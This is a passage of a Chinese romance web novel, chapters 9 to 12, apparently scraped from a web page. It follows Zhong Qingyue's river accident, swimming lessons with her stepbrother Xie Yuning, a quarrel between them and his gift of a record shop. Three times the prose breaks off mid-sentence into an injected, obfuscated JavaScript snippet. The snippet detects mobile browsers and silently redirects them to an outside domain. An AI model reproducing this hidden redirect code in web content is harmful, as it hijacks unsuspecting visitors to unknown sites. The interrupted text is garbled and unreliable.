入眼,钟卿悦横躺在沙发上睡得正香,估计睡热了,盖着的毛毯乱七八糟的堆在脖子下面,睡裙在翻身中随着往上跑,堪堪盖住腿根,一双笔直修长的腿就那么露在外面,交叠蜷缩。 他迅速瞥开视线,耳廓肉眼可见泛起淡红。他垂着眼皮走到沙发边,闭着眼将凌乱的毛毯随意往下一扯,遮住她全部身体。 做完这些,他立刻转身往楼梯口走,刚迈出去两步,身后却传来闷闷的声音。 “哥哥,你回来啦?” 他身子一僵,缓慢转身回望。 钟卿悦盘腿坐在沙发上,两只手随意搭在椅背上,人慵懒地靠着,一头黑发如瀑般凌乱散落。 “嗯。” “你最近好忙。”钟卿悦打个哈欠,懒散开口。 眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501536|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷乱的碎发遮挡视线,她抬手拨到后面,“没事,我就是看你一眼,好几天没见你了。” 她抱着毛毯昏昏沉沉地爬起来,揉了揉眼睛,“我看了,我要回房间睡觉了。” 谢昱宁沉沉应声。 眼前的人带着熟悉的气息从身边走过,拖拉着的小猫拖鞋发出沉闷声响。 直至身影上楼不见,他紧握的手才慢慢松开。 — 周六,钟卿悦和孟辰薇在附近商场逛街,吃吃喝喝后满载而归。 自从住进谢昱宁的房子,吃住穿也不用她操心,她发现五千块钱也能将就花一个月。 她坚定抱紧谢昱宁大腿,当好合格的妹妹,适时提供情绪价值。 周日她睡到自然醒,从床上迷迷糊糊爬起来时,路畅给她打来电话,问她愿不愿意下午去云栖镇逛逛。 她之前在社交平台看到过云栖镇的宣传片,景色不错,她便答应下来。 午饭后两人在云栖镇北门口碰面,结伴往古镇里面走。 云栖镇位于老城区内,依河而建,据说有千年历史。顺着青石板路往深处走,一排排木质建筑错落分布,小巷子静谧悠长,宁静古朴。 路畅拿手机拍了不少照片,脸上的笑容没消失过。 “卿悦,我家很远很远。” 钟卿悦歪头,“你是哪里人?” “文岭。我从小生活在大山里,如果不是被资助考上故南大学,我可能一辈子都走不出来那座山。” 路畅说完,眼睛里透出对未来的迷茫,她遥遥看着远处,喃喃自语,“我妈从来没离开过文岭,我想拍下外面的世界给她寄回去。” 钟卿悦搂住她的肩膀,“你该高兴才对,你走出来就意味着你妈妈也走了出来,将来你可以带她来故城。” “嗯,对。”路畅吸吸鼻子,眼眶里的泪在打转。 钟卿悦不擅长安慰人,她从网上找了云栖镇的特色打卡点,拉着路畅去拍照。 “拍下你的照片,你妈妈看到肯定会更高兴。” 云栖镇外围的河上有乌篷船,人们会排队坐船,船行驶到一处石拱桥附近,那片景色特别好看,坐在船头能完美融入美景中。 两人在码头排了半个小时轮到她们。 上了船,船夫是位年事已高的爷爷,穿着粗布上衣,头顶竹斗笠,说着口音极重的方言。 爷爷悠闲滑动船桨,乌篷船摇摇晃晃远去。 快到特色打卡点时,钟卿悦招呼着路畅坐到船头,还不忘嘱咐道:“侧过来坐,小心一点,别掉下去。” 老爷爷见怪不怪,到了打卡点还故意停下等待她们拍照。 钟卿悦指挥路畅摆了不少动作,各种角度拍了许多张。 路畅笑得合不拢嘴,“卿悦,你把我拍得真好看。” 钟卿悦得意地扬起头,“虽然摄影师有功劳,但最重要的是你长得好看,特别漂亮。” 路畅脸红了些,“你过去,我帮你拍。” “好啊。”钟卿悦依言往船头走。 “小心,有水溅上来,有点滑。”路畅不放心道。 钟卿悦应声,一步一脚印地走到船头。 路畅盯着取景框,“卿悦,你再往左一点点。” “嗯,好。” 钟卿悦小心翼翼挪动双脚,但并没注意到船头有块凸起的木板,鞋子在移动时不小心勾到木板的木刺,她单脚抬起想要扯开,一用力重心不稳,加之船头有水,她脚下发滑,整个人突然往后倒去。 “啊——”钟卿悦双手挣扎,奈何船头空无一物,连个能让她抓得东西都没有。 “卿悦!”路畅连滚带爬地伸手去抓她,可惜为时已晚,指尖刚碰到她的手,下一秒她人就掉进了河里。 说时迟那时快,船夫爷爷船桨一扔,一猛子便扎进河里。 钟卿悦在河里挣扎着,人不断往水里坠,她下意识想开口喊救命,却呛了一大口水,喉咙胸口火辣辣的疼。 船夫爷爷很快游到她身边,有力的双手抓住她的胳膊,带她脱离水面。 获得空气,她剧烈咳嗽起来。路畅把她拉上船,船夫爷爷带着她们往岸上走。 钟卿悦浑身湿透,整个人像落汤鸡,长发紧紧贴着脸颊,下巴滴着水珠,路畅赶紧给她披上自己的防晒衣。 她靠在路畅身上,冷风吹过湿透的身体,忍不住瑟瑟发抖。 上了岸,船夫爷爷用听不懂的方言说着什么,两人一脸迷茫,一句也听不懂。 在岸上看见整个经过的本地大姐解释道:“他说幸好河不深,让你们去医院看看,这河水不太干净。” 路畅忙点头,却站在原地不知所措。 钟卿悦缩着脖子,牙齿发颤,“你拿我手机,给我哥打电话。” 10. 第 10 章 见到谢昱宁时,他脸比锅底还黑。 钟卿悦眨巴着眼睛看他,腿上的裙子被风吹得干了大半。 他冷着脸从副驾驶拿下自己的西装外套,不由分说披到她身上。 钟卿悦乖巧地把手伸进衣袖,肥肥大大,长的像西装裙,再把腰身的地方搭配一根腰带,就算特色混搭了。 谢昱宁把她塞进车里,回头冷冷瞥了眼手足无措的路畅,一声不吭。 钟卿悦赶忙落下副驾驶的车窗,湿透的发丝还黏在额头跟侧脸,“路畅上车,我们送你回去。” 路畅忙摆手,“不了不了,你快去医院吧。” “没事,反正都湿透了,不差这一会儿了。” 见她不动,钟卿悦就要下车拉她,她匆匆点头,“好好好。” 车子启动,谢昱宁扶着方向盘一言不发地看着前方,整张脸如覆寒霜,像不近人情的大冰块。 钟卿悦悄咪咪看他好几眼,“哥,先去南门送我同学。” 谢昱宁面无表情应了声。 一路无话,到了南门路畅下车,钟卿悦落下车窗跟她挥手,她欲言又止,“卿悦……” 钟卿悦大咧咧摆摆手,“哎呀,没事,就喝了两口脏水,吐吐就好了。” “不好意思,都怪我非要喊你去云栖镇。”路畅半垂着头,指尖捏着衣角,“害你落水。” “没事儿,别放在心上。遇水则发,说不定我要发财!”钟卿悦仰着脸安慰地笑笑,“你快回去吧,照片我一会发给你。” 路畅点点头,“不着急,你去医院看完记得告诉我,明天下课我给你买小蛋糕。” “好!” 升起车窗,车子往医院开去。 车里没了其他人,谢昱宁侧头看她一眼,冷声问道:“怎么掉水里的?” “我们去坐船了,想站在船头拍照来着,谁知道那个船太破了,木板都起来了,我一不小心脚下一滑,扑通就掉进去了。” “幸好那个爷爷立马跳下去救我,他年纪很大了,身体特别硬朗,就是我听不懂他说的话……” 谢昱宁听她絮絮叨叨,脸色逐渐缓和许多。 说话间,她双手在脸旁扇着风,“哥,好热,你把空调关上吧,大夏天的要给我捂出痱子了” 谢昱宁瞥她一眼,调低风速,不容置喙地说道:“以后出门让王叔送你。” 钟卿悦依言点头,“知道啦知道啦。” 到了医院,医生用清水给她清理了口腔和鼻腔,又拍了胸片检查呼吸道和肺部情况。一切无恙,医生嘱咐密切观察,如果有咳嗽、发热等症状及时来医院就诊。 回到家已是傍晚,她脱下身上的西装和防晒衣,闻了闻手臂,立刻干呕一声,“好臭,浑身上下都是臭的。” 她又拎起谢昱宁的外套仔细闻了闻,“哥,你衣服好像也臭了。” 谢昱宁不甚在意,“洗了就好了。” 她又闻了闻路畅的防晒衣,比西装外套的气味冲,她直接扔进垃圾桶,太臭了,还是买一件新的还给路畅吧。 洗完澡,吹干头发,身上总算香喷喷的。 下楼吃饭,阿姨煮了红糖姜汤,她被迫喝了两碗,发了一身汗。 吃过饭她窝在客厅沙发看综艺,谢昱宁在一旁看杂志,书页声翻动,十分解压。 她翘着脚忽然说道:“哥,我要学游泳。” 谢昱宁挑眉看她一眼,等待她说下去。 “我想来着,万一我下次再掉水里怎么办,掌握自救技能还是十分重要的!” “嗯,别学太多。” 她瞪着眼睛,“为什么?” 谢昱宁懒懒看着她,“我怕你下去救人。” “没事,我肯定练得炉火纯青,相信我。” 说着,她拿手机去搜附近的游泳机构,扒拉半天,突然笑眯眯说道:“我看他们机构教练身材好好。” 谢昱宁眉头微微蹙起,手中的杂志放在膝上,“外面泳池不干净。” 钟卿悦认可地点点头,托着下巴认真思索,“确实如此。” “家里有泳池。”谢昱宁瞥了眼后花园,顿了顿,“我会游泳。” 钟卿悦猛然坐起,期待地望向他,“你会游泳?!那你教我啊!” 谢昱宁沉了沉,淡淡应下,指尖不着痕迹搭在杂志上有规律地轻点着,似乎心情不错? 决心要学游泳,钟卿悦开始购买所需装备,泳衣、泳镜、泳帽等等,一样不落。 装备到达后,她跟谢昱宁商量了周末下午的时间。 当天下午,她准时出现在泳池边,谢昱宁还在换衣服,她索性坐在池边玩水。 泳池不大,长度在十五米左右,深度一米五,谢昱宁嘱咐她不要擅自下水,所以她很谨慎。 水温微凉,洒在手臂上被风一吹有些冷,她甩甩水滴,又在泳衣上蹭了蹭。 身后传来轻咳,她回身去看,谢昱宁穿着一身黑,到大腿下方的宽松泳裤,修身的长袖泳衣,即使包裹严实,仍能感觉到布料下鼓起的肌肉,紧实贲张到极致。 她歪头好奇问道:“长袖不会增加阻力吗?” 她看机构的教练都光着上身露出腹肌呢…… 谢昱宁眯了眯眼,“我是教练,不是参加比赛。” “哦……” 她看教程说短袖比较好,她还专门买了短袖连体泳衣。 谢昱宁:“站起来活动一下。” “哦,好。”她乖巧起身,面对他笔直站立。 谢昱宁带着她做热身动作,充分缓解肌肉紧张和提高关节灵活性。十几分钟后,她已微微出汗,浑身都热热的。 接着她坐到水池边,把腿泡进去适应水温。 谢昱宁坐在她身边,为她讲解憋气的方法。她听得认真,一边晃悠腿一边点头。 讲完,谢昱宁把泳镜递给她,淡淡开口,“下水吧。” “啊?”她接下愣住,“就下水了?” “不下水怎么憋气。” 谢昱宁站进泳池,水流只到他胸口位置,看上去很浅。 钟卿悦盯了几秒,鼓起勇气顺着泳池边往下滑,刚下去就感觉到水流的压强包裹全身,她立刻回想起那天掉下水的瞬间,心脏瞬时一紧,手下意识扑腾起来。 谢昱宁立刻抓住手臂,带着她稳住身体,“站稳。” 仿佛找到救命稻草,钟卿悦急忙抓住他,牢牢抓住他的手臂,身体紧紧贴住他的胳膊,感受鼓动的水流冲击。 谢昱宁微微一愣,被她紧抱的胳膊炙热滚烫,好像从水里瞬间进入烤箱般奇妙。 “钟卿悦,松开。”他声音暗哑低沉。 “哦…”她放松手臂,但手指仍是抓着他小臂不放。 谢昱宁眉头紧锁,转手握住她的手腕,拉着她到泳池边,让她握住池边石头。 “扶着,深吸一口气,下水憋住。” 钟卿悦紧张的指尖发凉,站在池边盯着他,久久不敢下一个动作。 谢昱宁无奈叹口气,“别怕,我在。” “那我要是呛着你一定要救我。” “别忘了。” 钟卿悦反复强调。 谢昱宁:“嗯,好。” 嘱咐好,她深吸一口气,抿唇憋住,身体慢慢下蹲,头瞬间埋进水里。耳边其他声音变得遥远,只剩柔和的水流声清晰无比。 她缓缓睁开眼,眼前一片蓝色,隐约能看到泳池菱形的砖石,好像也没那么害怕。 憋到没有气,她扶着池边站起来,猛然出水带动水花纷溅。 有了新鲜空气,她大口吸着,胸口起伏,嘴角露出一抹浅笑,“好玩,太好玩了。” 克服恐惧后她不再那么害怕,反复练习越来越熟练。 练完憋气,谢昱宁开始教给她换气。她理解能力强,上手极快,试过几次后就能勉强连续完成出水换气动作。 看她掌握的不错,谢昱宁宣布今天的学习结束。 她刚有了进步,正骄傲着呢,自然不愿意结束,非缠着他继续教。 谢昱宁被她磨得束手无策,只好开始教漂浮。 他演示一番又把要领详细讲解,钟卿悦便开始尝试。 听着很简单,但真的操作却不得要领,脚无论如何都飘不起来,头还冒出水面。 “好烦,好难。”钟卿悦不开心地蹙起眉。 沉了沉,谢昱宁道:“我拉着你,头埋得深一点脚才能浮起来。” 钟卿悦点点头,任由他拉着她的手腕,她深吸一口气,努力往水下探头,下一秒,脚变得轻盈,缓缓离开池底,整个人像一艘小船横着漂浮在水面上。 她喜不自胜,这种自由的感觉真不错。 片刻,只听耳边隐约传来谢昱宁的声音,“蜷缩身体,收腿。” 她记着他的演示,模仿着将双腿收到胸前,蜷缩成一团人便立了起来,她双脚下落去踩池底。 只觉刚踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501537|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,重心突然不稳,人往后仰去,水流涌动瞬间灌进口鼻,空气被阻断,窒息压迫而来,水流刺激喉咙和气道,引发痉挛性的疼痛。 她心下一紧,双腿下意识胡乱瞪着,想要试图浮出水面。 下一秒,腕间的大手忽然收紧,微微用力将她拉起,像游船靠岸,她急切抓住眼前的人,手牢牢缠住他的脖子,整个人紧紧贴住他胸口,剧烈咳嗽起来。 谢昱宁能清晰感觉到她紧绷的身体,四肢宛如八爪鱼,牢牢攀附在他身上。 他深吸一口气,压下喉间难以言喻的感觉,双手迅速穿过她腋下,掐住她两胁将她整个提起放到池边坐下。 回归地面,钟卿悦还是牢牢抓着他泳衣衣袖,胸口起伏咳嗽着。 谢昱宁抬手扯掉她泳镜,去看她的眼睛,那双眸清澈如水,蕴着一层雾气。 “对不起。”他冷着的脸难得露出无措的神色。 钟卿悦抹了下眼睛,咳嗽渐渐平息,怒气冲冲断断续续道:“我!再也不学…不学游泳了!” 两次呛水,带来永久抵触。 游泳设备被压箱底,后花园的泳池成为波光粼粼的摆设品。 钟卿悦再也没下过水!! — 九月底,临近中秋国庆,故城迎来早秋,风携带清爽的凉意,阳光落在身上也变得暖煦煦的。 谢昱宁收到钟妈电话的时,钟卿悦正缠着他打游戏。 他放下手柄,接起电话,“喂,妈。” “昱宁,工作还忙吗?” 听筒那头传来温柔和善的女声,钟卿悦竖起耳朵听着。 “还可以,您跟我爸身体怎么样?” “我们挺好的。”钟妈顿了顿,欲言又止。 谢昱宁似乎预感到她接下来的话,轻声道:“马上中秋了。” “是啊,马上中秋了。”钟妈接过话头,轻笑一声,“你们有时间回来吗?” 你们…… 谢昱宁胸口发麻,自然抬头去看钟卿悦的眼睛。后者瞪起眸子眨了眨,态度不言而喻。 谢昱宁垂下眼皮,“项目这个阶段忙,不回去了。” 钟妈应了声,没再多说话,嘱咐他好好照顾身体。 电话挂断,钟卿悦撅着嘴不满道:“我不想回家,我怕她又念叨我。” “嗯。” “不回去我们可以去吃饭,城东区新开了一家川菜馆,我同学说特别好吃!”钟卿悦神色雀跃,“你明天有时间吗?” 谢昱宁摆弄着手柄歪头看她,淡淡应声。 “那明天下午下课你去接我,我们去尝尝!” — 翌日下午,钟卿悦欢喜雀跃地走出校门,熟悉的车子停在路边,谢昱宁侧身站着,单手插兜,另一只手拿着手机,似乎在打电话。 她放轻脚步想过去吓他,刚迈出两步,身后突然传来陌生干净的男声,“钟卿悦同学?” 钟卿悦茫然回头,一个穿着深蓝色牛仔外套的男生朝她走来,头上戴着一顶黑色棒球帽,脖子上挂着银色耳机。 她蹙眉,并不认识眼前的男生,“有事?” 男生见她露出防备的眼神,立刻解释道:“我们是同班同学,我叫周沐渊。” “哦。”钟卿悦对这个人完全没印象,“你好,有事吗?” “我……”周沐渊害羞地垂下头,将手机递到她面前,“我可以加一下你微信吗?” 谢昱宁转身就看到这一幕,钟卿悦背对他站着,而她面前站了一个陌生人,男的。 他眉头蹙起,冷着脸抬步往校门口走。 钟卿悦并没意识,她对着周沐渊摇摇头,“不好意思。” 周沐渊并不打算知难而退,握紧手机结结巴巴继续争取道:“我…我关注你很长时间了,我觉得你…特别优秀,想跟你做朋友。” “我暂时不想交异性朋友。” 周沐渊愣怔一瞬,笑容僵在脸上,“那……那我能问一下你喜欢什么类型的男生吗?” 钟卿悦刚要开口,一侧忽然传来声音。 贺文杉风尘仆仆走来,“同学,打扰,她喜欢的类型是我这样的。” 贺文杉昂头站在钟卿悦面前,抬手就要搭在她肩膀上宣示主权。 下一秒,他突然哀嚎一声,还未落上的手腕被人钳住,硬生生往后一扭,他被迫倾身向前,“疼疼疼……” 谢昱宁冷冷甩开他的手腕,阴沉的目光则落在周沐渊身上。 11. 第 11 章 钟卿悦看一眼左边——神色阴沉的谢昱宁。 看一眼右边——疼得捂肩膀的贺文杉。 面前——一脸茫然的周沐渊。 钟卿悦叹口气,幻想,都要杜绝!! 想着,她抬手挽住谢昱宁胳膊,扬起唇角看着周沐渊,“他不是哦。呐,同学,这才是我的理想型。” 谢昱宁怔在原地,垂眼看着臂弯间纤细白净的胳膊,心脏仿佛被一双无形的大手捏紧,禁锢到窒息。 周沐渊扫了眼谢昱宁来得方向,路边的汽车一看便知非常昂贵,他低下头,声音小了许多,“对不起,打扰了。” 他匆匆离去,背影消失在人群中。 钟卿悦抬头对着谢昱宁笑笑,放开他的胳膊,与此同时,包里的手机也响起。 她接通,听筒传来孟辰薇着急的声音,“悦悦,贺文杉找到你了吗?你俩都不回消息,急死我了。” 她掀掀眼皮瞥了下仍在揉肩膀的贺文杉,“哦,没事,处理了一点小问题。” “那就好,我马上到你学校门口了,一块儿去吃饭吧。” “好啊。”钟卿悦应下,“正好我们要去城东新开的那家川菜,一起一起。” 在一旁沉默不言的谢昱宁蹙起眉,两个人变四个人? 钟卿悦挂断电话,才腾出空问贺文杉,“你怎么跑来故城了?” 贺文杉活动着胳膊,“都那么久没见了,我想你…你们了呗。你们都不在江城,扔我自己在那,我快无聊死了。” 说罢,贺文杉清清嗓子,“那什么,我怎么就不是你理想型了?” 钟卿悦翻个白眼,“你是不是饿迷糊了?” “好好好,你说我饿我就饿。” 谢昱宁眉间的阴郁更深,甩到贺文杉脸上的目光比刀子还锋利,恨不能将他挫骨扬灰。 贺文杉感受到冷飕飕的视线,下意识后背发凉。循着感觉望过去,对上谢昱宁寒凉的眸子,他尴尬地挠头笑笑,“大哥手劲儿真大。” 谢昱宁撇开视线,懒得理他。 等到孟辰薇来了,一行人直奔城东区。 正值下班高峰期,又是大假期到来的前一天,高架堵得走走停停,十几分钟都不见挪地方。 贺文杉坐在后排滔滔不绝,讲述自己这一个月孤独艰难的日子和怎么躲开他爸视线跑来故城的经历。 过了拥堵的高架,离开繁华的市中区,车速终于提起来。半个小时后,天擦黑,四人到达新开业的香幺儿川菜馆。 谢昱宁已经提前预定,进门服务生直接领着去了包间。 点了招牌菜,没一会儿便开始上菜。 贺文杉非常有眼色,不断给谢昱宁端茶倒水,殷勤到不行,大哥长大哥短的闲聊。 谢昱宁偶尔看他一眼,就能想到下午那只手要往钟卿悦肩膀上搭。他蹙眉,这菜馆难吃。 钟卿悦还一直在跟他讲话,他也层出不穷地说一些幼稚的笑料,惹得钟卿悦合不拢嘴。 谢昱宁侧头就能看到钟卿悦眸子里闪着的亮光,唇边梨涡深深,好看又刺眼。 一顿饭下来,谢昱宁脸黑得更厉害了。 吃完饭,送下孟辰薇和贺文杉,车里终于只剩两人。 钟卿悦吃得肚皮圆圆的,感叹道:“这家川菜好棒,下次我们还去吧。” 谢昱宁脸色缓和,轻声应下。 “对了,哥。”钟卿悦侧头看他,抿唇笑了笑,“今天下午不好意思,拿你当挡箭牌了。” 谢昱宁刚扬起的唇角瞬间回落,什么意思? 钟卿悦纠结地叹口气,“我不想让他们误会,我如果说贺文杉的话,我怕他会多想,所以就只好说你了。” 钟卿悦凑到他脸侧,歪头看他,“你可不要怪我哈。” 清淡的山茶花香扑进鼻息间,他似乎能感受到她温热的呼吸,但明明她还很远。 他喉结滚动,言不由衷,“没。” 回了家已八点多,钟卿悦洗完澡在客厅等谢昱宁打游戏。她最近沉迷游戏机,各种游戏玩得乐此不疲。 刚拿出手柄,手机便不停地震动,一条条微信消息如轰炸似的涌进来。 她一脸好奇地点开,就看到贺文杉的狂轰乱炸。 [悦姐,睡了不?] [没睡吧,出来玩啊!] [看电影去不去?] [爆笑喜剧,据说笑得肚子疼。] 钟卿悦倚着靠背打字,[薇薇去吗?] [贺文杉:……] [贺文杉:我问问。] [钟卿悦:嗯,她去我就去。] 谢昱宁下楼的时候就看到钟卿悦穿戴整齐往玄关处走。 “去哪?”他问道。 钟卿悦正在挽头发,闻声回身去看,“我要跟薇薇、贺文杉出去看电影。” 他眸色瞬间沉下来,眼神冷冽,“太晚了。” “只是看电影而已,两个小时就回来了。”说罢,钟卿悦继续往玄关处走。 下一秒,手腕突然被人握住,微凉的指腹紧紧禁锢。 步伐被迫停滞,她茫然回身,撞入一双阴鸷寒冷的眼睛。 “九点半,很晚了。”谢昱宁嗓音低沉,语气带着不容置喙的强势。 钟卿悦不满地皱起眉,反驳道:“我觉得不晚。” 谢昱宁没说话,仍旧握着她的手腕,不打算退让。 她动动手腕,他的力道太大,她骨节刺痛,“你放开我。” 谢昱宁松开,目光冷冷与她对视。 “为什么要管我?”钟卿悦后退一步,目光坚定,“我离开江城就是受够被妈妈管着,为什么来了故城又变成你?” “我只是出去看电影。”钟卿悦甩下最后一句话。 砰—— 门猛然关闭,撞击如在心间。 — 钟卿悦刚上地铁包里的手机便响起来。她以为是谢昱宁,拿出一看却是家里保姆徐阿姨的电话。 她疑惑接起,就听徐阿姨说道:“小姐,家里下水道漏水了。” 钟卿悦皱眉,怎么会突然漏水? “我哥不是在家吗?你让他看一下。” 彼端,徐阿姨余光瞥向站在一侧周身寒凉的谢昱宁,战战兢兢道:“先生出门了,电话没打通。要不您回来一趟,我不知道该怎么处理。” 钟卿悦有些烦躁,抬头看一眼地铁屏幕,沉了沉,道:“好,我马上回去。” 挂断电话,地铁到了站台,随着开门,她便下车再坐回去。 回家进门,换下拖鞋往客厅走。 “徐阿姨。”钟卿悦喊了两声。 没见徐阿姨,却看到坐在沙发上的……谢昱宁。 火气一下直冲脑子,她不由分说道:“有意思吗?” 谢昱宁双腿交叠,脸色如覆寒霜,望向她的眼眸晦暗浓重,“上楼睡觉。” 钟卿悦猛然将手里的包甩落在地,脸颊微红,“谢昱宁,我讨厌你。” 谢昱宁胸口刺痛,沉重的石头压下来,让他无法喘息。 “你跟妈妈一样,你们都让人讨厌!” 钟卿悦转身,怒气冲冲上楼。 谢昱宁闭上眼,握紧的手骨节泛白,手背淡青色血管凸起,血液加速流淌。 她讨厌他…… — 翌日,钟卿悦睡醒下楼吃早饭。 走进餐厅,看到的不是徐阿姨,是谢昱宁在厨房忙碌的背影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501538|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她转头就要回去继续睡,谢昱宁却已听到声响,端着餐盘走了出来,冷声道:“吃饭。” 钟卿悦步伐停滞一瞬,继续往前走去。 “钟卿悦,吃饭。” 他极淡的声线如雪花落地般细碎。 钟卿悦顿住,片刻后折返回餐厅。 清淡的早餐,她爱吃的玉米红薯,夹着蓝莓酱的三明治。没有讨厌的牛奶,是温热的甜豆浆。 她低着头闷声往嘴里塞,半块玉米下肚,碟子里又多了半块。她抬头看,谢昱宁盘子里的玉米会转移。 她冷哼一声,拿起玉米狠狠咬一口。幻视谢昱宁,咬下去泄泄愤。 一顿早饭吃得压抑沉默。 喝下豆浆,她擦擦嘴离开餐厅,准备上楼换衣服出门玩,她要开心,她要自由! 化了精致的妆,从衣柜里挑了件粉色针织衫,刚套在脖子上,手机又不停震动。 她点开去看,是他们三个人的小群。 [贺文杉:我靠,家人们,我走了。] [贺文杉:偷摸跑出来被我爸知道了。] [贺文杉:大哭.jpg] [贺文杉:我再不回去他就要亲自来抓我,他最近老凶了,我不敢触霉头,先走了。] [贺文杉:@钟卿悦悦姐,我过两个周末再来。] 钟卿悦戳着屏幕回完他的消息,转头@孟辰薇出来玩。 — 国庆中秋假期,钟卿悦天天出去玩,报复性出去玩,玩到最后把故城有意思的地方都逛了。 而她和谢昱宁,一直在冷战,或者说是她单方面赌气不跟他说话。 她每天玩完回家谢昱宁都是在厨房做饭,她吃到各种口味的美食,甚至有复刻的香幺儿招牌菜。 衣柜里的衣服更是肉眼可见的增多,各种品牌限定、新品。 这天晚上,她下楼吃饭,刚走进客厅就被眼前的景象惊呆了。 原本的休闲区改头换面,多了两个海绵宝宝和派大星的懒人沙发,地上是蟹黄堡地毯,一侧立着一个书架,三层格子,一层章鱼哥、一层派大星、顶端是海绵宝宝,里面摆满游戏卡带,满满当当,连缝隙都看不到。 她瞪着眼睛,眼花缭乱。 谢昱宁正在分类游戏卡带,抬头看到她后,淡淡道:“以后可以在这里打游戏。” 钟卿悦眨眨眼,这么多天第一次跟他讲话,“你不是不喜欢打游戏吗?” “没。”他声音很轻,回应得却很快。 “我原谅你了。”钟卿悦突然开口。 他忙碌的手停在半空,半晌说道:“抱歉。” “没关系。”钟卿悦蹲在他身侧,拿起地上多着的卡带,“这么多什么时候能通关。” 谢昱宁顿了顿,侧头看她,目光认真,“我可以陪你一直打。” “真的?”钟卿悦勾起唇角,“那你可别反悔。” “嗯。”他应声,话锋却陡转,“你饿吗?” 钟卿悦不明所以,但还是摇摇头。 谢昱宁:“那我们去个地方。” 车子出了小区,拐向她从未去过的狭窄小巷,绕过两条街,开到另一条巷子里。 这里偏老城区的样子,房屋建筑都带着历史沉淀后的气息。 车子在巷子中段停下,钟卿悦满腹疑惑地下车。入眼是一家亮着灯牌的唱片店,门口玻璃窗里有展柜,里面摆着过敏乐队的CD、黑胶。 她想推门而入,却赫然发现门把手上挂着一把锁,旁边玻璃里挂着“暂停营业”的牌子。 什么意思?老板回家吃饭了吗? 她还迷惑,谢昱宁突然将手伸到她面前,宽厚的掌心静静躺着一把钥匙。 12. 第 12 章 唱片店的玻璃门推开,悬挂在门边的风铃声随之响起。 店内面积不算大,打理的井井有条,靠墙的木质展柜一尘不染,每一排唱片都精心分类摆放。另一端的长桌上则摆着一台老式的黑胶唱片机,深棕色的机身略有磨损,经过岁月洗礼,底色更加沉重。 钟卿悦从恍惚中回神,歪头看向谢昱宁,“这家店是你的吗?” “是你的。”他微顿,“送给你的礼物。” 钟卿悦表情从好奇变成惊诧,“我的?” “那我收拾收拾准备休学开始经营唱片店了。” 谢昱宁额角抽了抽,熟悉的她终于回来了。 “有人经营打理,你假期可以过来。” 钟卿悦惋惜地叹口气,“那我也不打算考研了,毕业直接来当老板。” “钟卿悦。”谢昱宁有些无奈,“不是买来让你养老的。” 她扑哧一下笑出声,“知道知道,是买来哄我的。” 谢昱宁轻咳一声侧开头,耳廓不自觉染了色。 钟卿悦没察觉到他的异样,围着店里转了一圈,颇有老板巡查的架势。展柜中存着各种老旧CD,珍藏柜里的非卖品甚至可以看到几十年前某传奇歌星的全部系列磁带,她感叹不已,这简直是音乐爱好者的天堂。 天黑透,路边老旧昏黄的路灯依次点亮,照着门前一隅,参天大树在秋风吹拂下晃动枝桠,遮住本就暗淡的暖光,投下斑驳树影。 两人在唱片店呆到肚子咕咕叫才回家。 后来许多记忆都变得模糊,钟卿悦记不清当日的细节,唯一深刻的是看到谢昱宁手心钥匙时,心脏收紧,鼓动在胸腔内传出清晰的共鸣。 — 故城的秋天很短暂,刚感受到片刻凉爽,温度便骤然下降。满城大树都在换装,转眼便是一地泛黄。 俗话说春困秋乏夏打盹,睡不醒的冬三月。钟卿悦连续两天早八,在课上困得睁不开眼。 好不容易熬到下课,她收拾东西准备回家吃饭,路畅却突然拉住她,投来期待的眼神,“卿悦,你想报社团吗?” 她忙摇头,“不不不,我不敢兴趣。” 路畅失望地耸拉下脑袋,“我想报话剧社。” “演话剧吗?” “嗯嗯。”路畅点头,从包里掏出报名表给她看,“我看了学校话剧社的表演,好喜欢。而且参加社团会颁发特长证书,在评奖学金和评优的时候可以给予综合素质分的加分。” “不过……”她叹口气,指尖扣着笔,“我有点紧张,不敢自己去。” 钟卿悦盯着报名表思索片刻,“那要不我陪你吧。” “真的吗?”路畅喜出望外,接着又愧疚不已,“我是不是强迫你了?” “没关系,就当培养爱好了。不过我不会演话剧。”钟卿悦指着报名表上的面试要求,“我只会弹钢琴,能过面试吗?” “当然可以,弹钢琴已经很厉害了,而且我听说提交了一般都可以过。” 说着,路畅又从包里掏出一张报名表。 两人分别填完,交到话剧社后就被通知一周后参与面试,需要准备简短的表演经历介绍和个人才艺展示。 两人都没什么表演经历,准备的自我介绍都十分简陋。个人才艺方面,钟卿悦弹钢琴,路畅则准备了话剧《雷雨》中的一段表演。 